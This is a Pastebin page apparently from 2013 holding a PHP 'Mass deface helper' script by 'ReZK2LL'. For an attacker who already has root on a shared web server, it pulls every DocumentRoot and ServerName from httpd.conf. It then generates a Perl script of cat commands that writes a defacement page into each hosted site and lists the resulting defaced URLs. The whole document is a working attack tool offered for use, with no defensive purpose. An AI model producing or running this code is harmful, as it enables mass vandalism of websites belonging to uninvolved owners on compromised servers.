BIe

Mass defacer Script

BIe
Sep 19th, 2013
3,296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.18 KB | None | 0 0
  1. <?php
  2. # Mass deface helper
  3. # Coded by ReZK2LL
  4. # To all script kiddies... changing the "Coded by" headers wont make you the coder.!  
  5. # Respect the real coderz..!
  6. echo "<html>
  7. <head>
  8. <title>Mass Deface Helper </title>
  9. <style>
  10. body {background : black;}
  11. fri {border-bottom : 1px red;}
  12. .greetz {color : red ;font-family : Comic Sans MS;font-size : 15px;height : 4%;width : 25%;position : fixed ;bottom : 0;right : 0;background : black;border : 2px solid #00ff00;}
  13. help {color:red;background : black;font: 13px Comic Sans MS;font-weight:bold;}
  14. .but {background-color:rgba(25,25,25,0.6);border:2; padding:2px; border-bottom:2px solid lime; font-size:25px;font-family:Comic Sans MS; color:red;border:2px solid lime;margin:4px 4px 8px 0;}
  15. .but:hover{color:Lime;}
  16. input[type='text'] {background:#111111; border:1; padding:2px; border-bottom:2px solid #393939;font-family:Comic Sans MS; font-size:17px; color:#ffffff;border:3px solid #00ff00;margin:4px 4px 2px 0;}
  17. input[type='text']:hover{border : 2px  #999999;color:Lime;}
  18. </style>
  19. <br />";
  20. echo "<span style=\"color:lime; font: 14px Comic Sans MS; font-weight:bold;\">Help :<br>1. After u get root, Upload ur deface source as index.txt <br>2. Run this comand on ur CMD / Terminal : <br></span><br/>";
  21. echo "<tr><td><help>&nbsp;&nbsp;&nbsp;&nbsp;<blink>=></blink> cat /etc/httpd/conf/httpd.conf | grep DocumentRoot>dir.txt </help></td><td><br/>";
  22. echo "<tr><td><help>&nbsp;&nbsp;&nbsp;&nbsp;<blink>=></blink> cat /etc/httpd/conf/httpd.conf | grep ServerName>dmn.txt </help></td><td><br><br/><br/>";
  23. echo "<form method=POST>
  24. <tr><td>
  25. <help title='the file you want to put in all sites'> Def page name : </help>
  26. &nbsp;&nbsp;<input title='the file name you want to put in all sites' type=text name=index value=bie.htm>&nbsp;|
  27. <help title='your deface page's source code'>Def source code :</help>
  28. &nbsp;&nbsp;<input title='your index source code' type='text' name='source' value='index.txt'><br><br>
  29. <help>List DocumentRoot from httpd.conf  : </help><br>
  30. <input type=text name=dirs size=\"40\">
  31. <br><br>
  32. <help>List ServerName from httpd.conf : </help><br>
  33. <input type=text name=sites size=\"40\">
  34. <br><br>
  35. <tr><td><center><input class='but' type=submit value='Generate ' name='go'></center>
  36. </form>
  37. <br/></td><td></table>";
  38. if($_POST['go']){
  39. echo "<b></b>";
  40. $index = $_POST['index'];
  41. $source = $_POST['source'];
  42. $dirs =explode("\n",@dd1(file_get_contents($_POST['dirs'])));
  43. $sites =explode("\n",@dd2(file_get_contents($_POST['sites'])));
  44.  
  45. // preparing perl script
  46.  
  47. if($_POST['dirs']){
  48.  
  49.  
  50.     $perl = fopen ('mass.txt','w+') or die (" WTF !! , i cannot create files o__O");
  51.     $perl_start = "#!/usr/bin/perl";
  52.     $perl_end = "print\"All Defaced !\";";
  53.     fwrite ($perl,$perl_start."\n\n"); // Write !!
  54.  
  55. foreach($dirs as $dir){
  56.  
  57. $result = "system(\"cat ".$source." > ".@kill($dir)."/".$index."\");";
  58. fwrite ($perl, $result."\n");
  59. flush();
  60. }  
  61.     echo "<tr><td><font style='font: 9pt Comic Sans MS; COLOR: #FFFFFF;font-weight:bold;'>perl script <a style='text-decoration: none;color:lime;' href='mass.txt'>mass.txt</a></font></td><td><br>";
  62.     echo "<help>Now run this mass.txt on ur CMD / Terminal <blink>=> </blink> perl mass.txt </help><br>";
  63.     fwrite ($perl, "\n".$perl_end);
  64.     fclose($perl);
  65.    
  66.     }
  67.     // preparing sites list
  68.    
  69. if($_POST['sites']){
  70.  
  71.  
  72.     $sitess = fopen ('sites.txt','w+') or die ("WTF !! , i can't create files o__O");
  73.     $sitess_start = "http://";
  74.     $sitess_end = "/";
  75.     fwrite ($sitess,"");
  76.  
  77. foreach($sites as $site){
  78.  
  79.     $result2 = $sitess_start.@kill($site).$sitess_end.$index;
  80.     fwrite ($sitess, $result2."\n");
  81.     flush();
  82. }
  83.     echo "<br /><tr><td><help>Defaced sites : <a style='text-decoration: none;color:lime;' href='sites.txt'>sites.txt</a></help></td><td><br/><br/>";
  84.     fwrite ($sitess,"");
  85.     fclose($sitess);
  86.  
  87. }
  88.   }
  89. function kill($value){  return str_replace(array("\n","\r"),"",$value); }
  90. function dd1($value){  return str_replace(array("DocumentRoot"," "),"",$value); }
  91. function dd2($value){  return str_replace(array("ServerName"," "),"",$value); }
  92. echo "<br />";
  93. echo "<div class='greetz'><center> <marquee> Original script by <b>ReZK2LL </marquee></center><font></div>";
  94. ?>
Advertisement
Add Comment
Please, Sign In to add comment